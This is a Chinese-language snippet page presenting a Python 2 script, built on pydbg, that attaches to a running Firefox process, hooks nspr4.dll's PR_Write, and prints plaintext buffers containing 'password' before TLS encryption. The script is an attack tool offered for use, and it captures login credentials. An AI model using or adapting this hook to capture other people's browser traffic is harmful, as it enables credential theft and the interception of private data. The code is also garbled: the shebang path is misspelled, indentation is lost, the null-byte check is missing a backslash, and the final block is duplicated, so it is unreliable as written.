python利用hook技术破解https的实例代码

下面是源代码：

代码如下:

#!/ur/bin/env python
from pydbg import *
from pydbg.defines import *

import utils
import sys

dbg = pydbg()
found_firefox = False

pattern = "password"

def ssl_sniff( dbg, args ):
buffer = ""
offset = 0

while 1:
byte = dbg.read_process_memory( args[1] + offset, 1 )
if byte != "x00":
buffer += byte
offset += 1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_CONTINUE
# 寻找firefox.exe的进程
for (pid, name) in dbg.enumerate_processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook_container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# 得到firefox的hook的 address
hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")
if hook_address:
# 添加hook的内容，包括他的pid，地址，嗅探类型

hooks.add( dbg, hook_address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)

if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."
sys.exit(-1)
